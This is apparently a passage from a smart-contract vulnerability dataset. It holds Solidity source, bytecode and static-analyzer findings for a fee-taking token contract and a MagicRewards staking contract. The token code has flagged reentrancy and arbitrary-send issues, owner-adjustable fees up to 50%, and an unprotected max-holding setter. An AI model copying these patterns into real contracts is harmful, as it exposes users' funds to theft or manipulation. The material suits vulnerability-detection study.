function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 800000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (180 seconds);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
// fallback in case contract is not releasing tokens fast enough
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].buy;
}
function timeToSell(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].sell;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function _getMaxHolding() internal view returns (uint256) {
return (totalSupply() * holdingCapPercent) / 100;
}
function _setMaxHolding(uint8 percent) external {
require(percent > 0, "Max holding cap cannot be less than 1");
holdingCapPercent = percent;
}
} | 0x6080604052600436106101445760003560e01c806370a08231116100b6578063a9fc35a91161006f578063a9fc35a91461036e578063c3c8cd801461038e578063c9567bf9146103a3578063db92dbb6146103b8578063dd62ed3e146103cd578063e8078d941461041357600080fd5b806370a08231146102d2578063715018a6146102f25780638da5cb5b1461030757806395d89b4114610150578063a9059cbb1461032f578063a985ceef1461034f57600080fd5b8063313ce56711610108578063313ce5671461021f57806345596e2e1461023b578063522644df1461025d5780635932ead11461027d57806368a3a6a51461029d5780636fc3eaec146102bd57600080fd5b806306fdde0314610150578063095ea7b31461019457806318160ddd146101c457806323b872dd146101ea57806327f3a72a1461020a57600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b50604080518082018252600c81526b426561737461727320496e7560a01b6020820152905161018b9190611b9b565b60405180910390f35b3480156101a057600080fd5b506101b46101af366004611ad2565b610428565b604051901515815260200161018b565b3480156101d057600080fd5b5068056bc75e2d631000005b60405190815260200161018b565b3480156101f657600080fd5b506101b4610205366004611a92565b61043f565b34801561021657600080fd5b506101dc6104a8565b34801561022b57600080fd5b506040516009815260200161018b565b34801561024757600080fd5b5061025b610256366004611b35565b6104b8565b005b34801561026957600080fd5b5061025b610278366004611b7a565b610561565b34801561028957600080fd5b5061025b610298366004611afd565b6105ca565b3480156102a957600080fd5b506101dc6102b8366004611a22565b610649565b3480156102c957600080fd5b5061025b61066c565b3480156102de57600080fd5b506101dc6102ed366004611a22565b610699565b3480156102fe57600080fd5b5061025b6106bb565b34801561031357600080fd5b506000546040516001600160a01b03909116815260200161018b565b34801561033b57600080fd5b506101b461034a366004611ad2565b61072f565b34801561035b57600080fd5b50601354600160a81b900460ff166101b4565b34801561037a57600080fd5b506101dc610389366004611a22565b61073c565b34801561039a57600080fd5b5061025b610762565b3480156103af57600080fd5b5061025b610798565b3480156103c457600080fd5b506101dc6107e5565b3480156103d957600080fd5b506101dc6103e8366004611a5a565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561041f57600080fd5b5061025b6107fd565b6000610435338484610bb0565b5060015b92915050565b600061044c848484610cd4565b61049e843361049985604051806060016040528060288152602001611d3b602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906112a8565b610bb0565b5060019392505050565b60006104b330610699565b905090565b6011546001600160a01b0316336001600160a01b0316146104d857600080fd5b603381106105255760405162461bcd60e51b8152602060048201526015602482015274526174652063616e2774206578636565642035302560581b60448201526064015b60405180910390fd5b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b60008160ff16116105c25760405162461bcd60e51b815260206004820152602560248201527f4d617820686f6c64696e67206361702063616e6e6f74206265206c657373207460448201526468616e203160d81b606482015260840161051c565b60ff16601555565b6000546001600160a01b031633146105f45760405162461bcd60e51b815260040161051c90611bee565b6013805460ff60a81b1916600160a81b8315158102919091179182905560405160ff9190920416151581527f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f2870690602001610556565b6001600160a01b0381166000908152600660205260408120546104399042611cea565b6011546001600160a01b0316336001600160a01b03161461068c57600080fd5b47610696816112e2565b50565b6001600160a01b0381166000908152600260205260408120546104399061131c565b6000546001600160a01b031633146106e55760405162461bcd60e51b815260040161051c90611bee565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610435338484610cd4565b6001600160a01b0381166000908152600660205260408120600101546104399042611cea565b6011546001600160a01b0316336001600160a01b03161461078257600080fd5b600061078d30610699565b9050610696816113a0565b6000546001600160a01b031633146107c25760405162461bcd60e51b815260040161051c90611bee565b6013805460ff60a01b1916600160a01b1790556107e04260b4611c93565b601455565b6013546000906104b3906001600160a01b0316610699565b6000546001600160a01b031633146108275760405162461bcd60e51b815260040161051c90611bee565b601354600160a01b900460ff16156108815760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161051c565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108be308268056bc75e2d63100000610bb0565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108f757600080fd5b505afa15801561090b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061092f9190611a3e565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561097757600080fd5b505afa15801561098b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109af9190611a3e565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156109f757600080fd5b505af1158015610a0b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a2f9190611a3e565b601380546001600160a01b0319166001600160a01b039283161790556012541663f305d7194730610a5f81610699565b600080610a746000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610ad757600080fd5b505af1158015610aeb573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b109190611b4d565b5050670b1a2bc2ec5000006010555042600d5560135460125460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b158015610b7457600080fd5b505af1158015610b88573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bac9190611b19565b5050565b6001600160a01b038316610c125760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161051c565b6001600160a01b038216610c735760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161051c565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d385760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161051c565b6001600160a01b038216610d9a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161051c565b60008111610dfc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161051c565b6000546001600160a01b03848116911614801590610e2857506000546001600160a01b03838116911614155b1561124b57601354600160a81b900460ff1615610ea8573360009081526006602052604090206002015460ff16610ea857604080516060810182526000808252602080830182815260018486018181523385526006909352949092209251835590519282019290925590516002909101805460ff19169115159190911790555b6013546001600160a01b03838116911614801590610ecf57506001600160a01b0382163014155b15610f3e57610edc611545565b81610ee684610699565b610ef09190611c93565b1115610f3e5760405162461bcd60e51b815260206004820152601960248201527f4d617820686f6c64696e67206361702062726561636865642e00000000000000604482015260640161051c565b6013546001600160a01b038481169116148015610f6957506012546001600160a01b03838116911614155b8015610f8e57506001600160a01b03821660009081526005602052604090205460ff16155b156110ed57601354600160a01b900460ff16610fec5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e0000000000000000604482015260640161051c565b600c600a55601354600160a81b900460ff16156110b3574260145411156110b35760105481111561101c57600080fd5b6001600160a01b038216600090815260066020526040902054421161108e5760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b606482015260840161051c565b61109942602d611c93565b6001600160a01b0383166000908152600660205260409020555b601354600160a81b900460ff16156110ed576110d042600f611c93565b6001600160a01b0383166000908152600660205260409020600101555b60006110f830610699565b601354909150600160b01b900460ff1615801561112357506013546001600160a01b03858116911614155b80156111385750601354600160a01b900460ff165b1561124957600c600a55601354600160a81b900460ff16156111ca576001600160a01b03841660009081526006602052604090206001015442116111ca5760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b606482015260840161051c565b801561123757600b54601354611200916064916111fa91906111f4906001600160a01b0316610699565b90611570565b906115ef565b81111561122e57600b5460135461122b916064916111fa91906111f4906001600160a01b0316610699565b90505b611237816113a0565b47801561124757611247476112e2565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061128d57506001600160a01b03831660009081526005602052604090205460ff165b15611296575060005b6112a284848484611631565b50505050565b600081848411156112cc5760405162461bcd60e51b815260040161051c9190611b9b565b5060006112d98486611cea565b95945050505050565b6011546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610bac573d6000803e3d6000fd5b60006007548211156113835760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161051c565b600061138d61165f565b905061139983826115ef565b9392505050565b6013805460ff60b01b1916600160b01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113f657634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561144a57600080fd5b505afa15801561145e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114829190611a3e565b816001815181106114a357634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526012546114c99130911684610bb0565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790611502908590600090869030904290600401611c23565b600060405180830381600087803b15801561151c57600080fd5b505af1158015611530573d6000803e3d6000fd5b50506013805460ff60b01b1916905550505050565b6000606460155461155c68056bc75e2d6310000090565b6115669190611ccb565b6104b39190611cab565b60008261157f57506000610439565b600061158b8385611ccb565b9050826115988583611cab565b146113995760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161051c565b600061139983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611682565b8061163e5761163e6116b0565b6116498484846116de565b806112a2576112a2600e54600955600f54600a55565b600080600061166c6117d5565b909250905061167b82826115ef565b9250505090565b600081836116a35760405162461bcd60e51b815260040161051c9190611b9b565b5060006112d98486611cab565b6009541580156116c05750600a54155b156116c757565b60098054600e55600a8054600f5560009182905555565b6000806000806000806116f087611817565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506117229087611874565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461175190866118b6565b6001600160a01b03891660009081526002602052604090205561177381611915565b61177d848361195f565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516117c291815260200190565b60405180910390a3505050505050505050565b600754600090819068056bc75e2d631000006117f182826115ef565b82101561180e5750506007549268056bc75e2d6310000092509050565b90939092509050565b60008060008060008060008060006118348a600954600a54611983565b925092509250600061184461165f565b905060008060006118578e8787876119d2565b919e509c509a509598509396509194505050505091939550919395565b600061139983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112a8565b6000806118c38385611c93565b9050838110156113995760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161051c565b600061191f61165f565b9050600061192d8383611570565b3060009081526002602052604090205490915061194a90826118b6565b30600090815260026020526040902055505050565b60075461196c9083611874565b60075560085461197c90826118b6565b6008555050565b600080808061199760646111fa8989611570565b905060006119aa60646111fa8a89611570565b905060006119c2826119bc8b86611874565b90611874565b9992985090965090945050505050565b60008080806119e18886611570565b905060006119ef8887611570565b905060006119fd8888611570565b90506000611a0f826119bc8686611874565b939b939a50919850919650505050505050565b600060208284031215611a33578081fd5b813561139981611d17565b600060208284031215611a4f578081fd5b815161139981611d17565b60008060408385031215611a6c578081fd5b8235611a7781611d17565b91506020830135611a8781611d17565b809150509250929050565b600080600060608486031215611aa6578081fd5b8335611ab181611d17565b92506020840135611ac181611d17565b929592945050506040919091013590565b60008060408385031215611ae4578182fd5b8235611aef81611d17565b946020939093013593505050565b600060208284031215611b0e578081fd5b813561139981611d2c565b600060208284031215611b2a578081fd5b815161139981611d2c565b600060208284031215611b46578081fd5b5035919050565b600080600060608486031215611b61578283fd5b8351925060208401519150604084015190509250925092565b600060208284031215611b8b578081fd5b813560ff81168114611399578182fd5b6000602080835283518082850152825b81811015611bc757858101830151858201604001528201611bab565b81811115611bd85783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611c725784516001600160a01b031683529383019391830191600101611c4d565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611ca657611ca6611d01565b500190565b600082611cc657634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611ce557611ce5611d01565b500290565b600082821015611cfc57611cfc611d01565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461069657600080fd5b801515811461069657600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b8d9c45db393eb6fcbbeacb2b2fb63d951bfe93d0d24ef689843eab54763612764736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,159 |
0x2ddE86634921a42b3c662c1C99Cda8301Cdfd273 | // SPDX-License-Identifier: MIT
/**
*Submitted for verification at arbiscan.io on 2021-09-08
*/
//SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/ownership/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable {
address public owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner, 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(owner, address(0));
owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(
newOwner != address(0),
'Ownable: new owner is the zero address'
);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StakedTokenWrapper {
uint256 public totalSupply;
mapping(address => uint256) private _balances;
IERC20 public stakedToken;
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
string constant _transferErrorMessage = 'staked token transfer failed';
function stakeFor(address forWhom, uint128 amount) public payable virtual {
IERC20 st = stakedToken;
if (st == IERC20(address(0))) {
//eth
unchecked {
totalSupply += msg.value;
_balances[forWhom] += msg.value;
}
} else {
require(msg.value == 0, 'non-zero eth');
require(amount > 0, 'Cannot stake 0');
require(
st.transferFrom(msg.sender, address(this), amount),
_transferErrorMessage
);
unchecked {
totalSupply += amount;
_balances[forWhom] += amount;
}
}
emit Staked(forWhom, amount);
}
function withdraw(uint128 amount) public virtual {
require(amount <= _balances[msg.sender], 'withdraw: balance is lower');
unchecked {
_balances[msg.sender] -= amount;
totalSupply = totalSupply - amount;
}
IERC20 st = stakedToken;
if (st == IERC20(address(0))) {
//eth
(bool success, ) = msg.sender.call{ value: amount }('');
require(success, 'eth transfer failure');
} else {
require(
stakedToken.transfer(msg.sender, amount),
_transferErrorMessage
);
}
emit Withdrawn(msg.sender, amount);
}
}
contract MagicRewards is StakedTokenWrapper, Ownable {
IERC20 public rewardToken;
uint256 public rewardRate;
uint64 public periodFinish;
uint64 public lastUpdateTime;
uint128 public rewardPerTokenStored;
struct UserRewards {
uint128 userRewardPerTokenPaid;
uint128 rewards;
}
mapping(address => UserRewards) public userRewards;
event RewardAdded(uint256 reward);
event RewardPaid(address indexed user, uint256 reward);
constructor(IERC20 _rewardToken, IERC20 _stakedToken) {
rewardToken = _rewardToken;
stakedToken = _stakedToken;
}
modifier updateReward(address account) {
uint128 _rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
rewardPerTokenStored = _rewardPerTokenStored;
userRewards[account].rewards = earned(account);
userRewards[account].userRewardPerTokenPaid = _rewardPerTokenStored;
_;
}
function lastTimeRewardApplicable() public view returns (uint64) {
uint64 blockTimestamp = uint64(block.timestamp);
return blockTimestamp < periodFinish ? blockTimestamp : periodFinish;
}
function rewardPerToken() public view returns (uint128) {
uint256 totalStakedSupply = totalSupply;
if (totalStakedSupply == 0) {
return rewardPerTokenStored;
}
unchecked {
uint256 rewardDuration = lastTimeRewardApplicable() -
lastUpdateTime;
return
uint128(
rewardPerTokenStored +
(rewardDuration * rewardRate * 1e18) /
totalStakedSupply
);
}
}
function earned(address account) public view returns (uint128) {
unchecked {
return
uint128(
(balanceOf(account) *
(rewardPerToken() -
userRewards[account].userRewardPerTokenPaid)) /
1e18 +
userRewards[account].rewards
);
}
}
function stake(uint128 amount) external payable {
stakeFor(msg.sender, amount);
}
function stakeFor(address forWhom, uint128 amount)
public
payable
override
updateReward(forWhom)
{
super.stakeFor(forWhom, amount);
}
function withdraw(uint128 amount) public override updateReward(msg.sender) {
super.withdraw(amount);
}
function exit() external {
getReward();
withdraw(uint128(balanceOf(msg.sender)));
}
function getReward() public updateReward(msg.sender) {
uint256 reward = earned(msg.sender);
if (reward > 0) {
userRewards[msg.sender].rewards = 0;
require(
rewardToken.transfer(msg.sender, reward),
'reward transfer failed'
);
emit RewardPaid(msg.sender, reward);
}
}
function setRewardParams(uint128 reward, uint64 duration)
external
onlyOwner
{
unchecked {
require(reward > 0);
rewardPerTokenStored = rewardPerToken();
uint64 blockTimestamp = uint64(block.timestamp);
uint256 maxRewardSupply = rewardToken.balanceOf(address(this));
if (rewardToken == stakedToken) maxRewardSupply -= totalSupply;
uint256 leftover = 0;
if (blockTimestamp >= periodFinish) {
rewardRate = reward / duration;
} else {
uint256 remaining = periodFinish - blockTimestamp;
leftover = remaining * rewardRate;
rewardRate = (reward + leftover) / duration;
}
require(reward + leftover <= maxRewardSupply, 'not enough tokens');
lastUpdateTime = blockTimestamp;
periodFinish = blockTimestamp + duration;
emit RewardAdded(reward);
}
}
function withdrawReward() external onlyOwner {
uint256 rewardSupply = rewardToken.balanceOf(address(this));
//ensure funds staked by users can't be transferred out
if (rewardToken == stakedToken) rewardSupply -= totalSupply;
require(rewardToken.transfer(msg.sender, rewardSupply));
rewardRate = 0;
periodFinish = uint64(block.timestamp);
}
}
/*
____ __ __ __ _
/ __/__ __ ___ / /_ / / ___ / /_ (_)__ __
_\ \ / // // _ \/ __// _ \/ -_)/ __// / \ \ /
/___/ \_, //_//_/\__//_//_/\__/ \__//_/ /_\_\
/___/
* Synthetix: YFIRewards.sol
*
* Docs: https://docs.synthetix.io/
*
*
* MIT License
* ===========
*
* Copyright (c) 2020 Synthetix
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
| 0x6080604052600436106101345760003560e01c806389ee4bde116100ab578063cd3daf9d1161006f578063cd3daf9d1461039a578063df136d65146103af578063e9fad8ee146103d6578063ebe2b12b146103eb578063f2fde38b1461040b578063f7c618c11461042b57600080fd5b806389ee4bde146102e65780638da5cb5b14610306578063c885bc581461033e578063c8f33c9114610353578063cc7a262e1461037a57600080fd5b806370458d85116100fd57806370458d851461023257806370a0823114610245578063715018a61461027b5780637b0a47ee1461029057806380faa57d146102a657806388fe2be8146102d357600080fd5b80628cc2621461013957806302387a7b146101765780630660f1e81461019857806318160ddd146101f95780633d18b9121461021d575b600080fd5b34801561014557600080fd5b5061015961015436600461130c565b61044b565b6040516001600160801b0390911681526020015b60405180910390f35b34801561018257600080fd5b5061019661019136600461137f565b6104d6565b005b3480156101a457600080fd5b506101d96101b336600461130c565b6007602052600090815260409020546001600160801b0380821691600160801b90041682565b604080516001600160801b0393841681529290911660208301520161016d565b34801561020557600080fd5b5061020f60005481565b60405190815260200161016d565b34801561022957600080fd5b50610196610575565b61019661024036600461132d565b610747565b34801561025157600080fd5b5061020f61026036600461130c565b6001600160a01b031660009081526001602052604090205490565b34801561028757600080fd5b506101966107e8565b34801561029c57600080fd5b5061020f60055481565b3480156102b257600080fd5b506102bb61085c565b6040516001600160401b03909116815260200161016d565b6101966102e136600461137f565b610890565b3480156102f257600080fd5b50610196610301366004611399565b61089d565b34801561031257600080fd5b50600354610326906001600160a01b031681565b6040516001600160a01b03909116815260200161016d565b34801561034a57600080fd5b50610196610b26565b34801561035f57600080fd5b506006546102bb90600160401b90046001600160401b031681565b34801561038657600080fd5b50600254610326906001600160a01b031681565b3480156103a657600080fd5b50610159610caf565b3480156103bb57600080fd5b5060065461015990600160801b90046001600160801b031681565b3480156103e257600080fd5b50610196610d44565b3480156103f757600080fd5b506006546102bb906001600160401b031681565b34801561041757600080fd5b5061019661042636600461130c565b610d67565b34801561043757600080fd5b50600454610326906001600160a01b031681565b6001600160a01b0381166000908152600760205260408120546001600160801b03600160801b8204811691670de0b6b3a76400009116610489610caf565b036001600160801b03166104b2856001600160a01b031660009081526001602052604090205490565b02816104ce57634e487b7160e01b600052601260045260246000fd5b040192915050565b3360006104e1610caf565b90506104eb61085c565b600680546001600160801b03808516600160801b026001600160401b03948516600160401b0291909116939091169290921791909117905561052c8261044b565b6001600160a01b03831660009081526007602052604090206001600160801b038381169216600160801b026001600160801b03191691909117905561057083610d9a565b505050565b336000610580610caf565b905061058a61085c565b600680546001600160801b03808516600160801b026001600160401b03948516600160401b029190911693909116929092179190911790556105cb8261044b565b6001600160a01b03831660009081526007602052604081206001600160801b038481169316600160801b026001600160801b031916929092179091556106103361044b565b6001600160801b03169050801561057057336000818152600760205260409081902080546001600160801b0316905560048054915163a9059cbb60e01b815290810192909252602482018390526001600160a01b03169063a9059cbb90604401602060405180830381600087803b15801561068a57600080fd5b505af115801561069e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106c2919061135f565b61070c5760405162461bcd60e51b81526020600482015260166024820152751c995dd85c99081d1c985b9cd9995c8819985a5b195960521b60448201526064015b60405180910390fd5b60405181815233907fe2403640ba68fed3a2f88b7557551d1993f84b99bb10ff833f0cf8db0c5e0486906020015b60405180910390a2505050565b816000610752610caf565b905061075c61085c565b600680546001600160801b03808516600160801b026001600160401b03948516600160401b0291909116939091169290921791909117905561079d8261044b565b6001600160a01b03831660009081526007602052604090206001600160801b038381169216600160801b026001600160801b0319169190911790556107e28484610ffc565b50505050565b6003546001600160a01b031633146108125760405162461bcd60e51b815260040161070390611445565b6003546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600380546001600160a01b0319169055565b60065460009042906001600160401b0390811690821610610888576006546001600160401b031661088a565b805b91505090565b61089a3382610747565b50565b6003546001600160a01b031633146108c75760405162461bcd60e51b815260040161070390611445565b6000826001600160801b0316116108dd57600080fd5b6108e5610caf565b600680546001600160801b03928316600160801b029216919091179055600480546040516370a0823160e01b815242926000926001600160a01b0316916370a0823191610943913091016001600160a01b0391909116815260200190565b60206040518083038186803b15801561095b57600080fd5b505afa15801561096f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099391906113da565b6002546004549192506001600160a01b03918216911614156109b55760005490035b6006546000906001600160401b0390811690841610610a0f57836001600160401b0316856001600160801b0316816109fd57634e487b7160e01b600052601260045260246000fd5b046001600160801b0316600555610a59565b506006546005546001600160401b0391821684900382169081029185166001600160801b038716830181610a5357634e487b7160e01b600052601260045260246000fd5b04600555505b8181866001600160801b0316011115610aa85760405162461bcd60e51b81526020600482015260116024820152706e6f7420656e6f75676820746f6b656e7360781b6044820152606401610703565b600680546001600160801b031916600160401b6001600160401b038087169190910267ffffffffffffffff191691909117858701919091161790556040516001600160801b03861681527fde88a922e0d3b88b24e9623efeb464919c6bf9f66857a65e2bfcf2ce87a9433d9060200160405180910390a15050505050565b6003546001600160a01b03163314610b505760405162461bcd60e51b815260040161070390611445565b600480546040516370a0823160e01b815230928101929092526000916001600160a01b03909116906370a082319060240160206040518083038186803b158015610b9957600080fd5b505afa158015610bad573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bd191906113da565b6002546004549192506001600160a01b0391821691161415610bfd57600054610bfa908261147a565b9050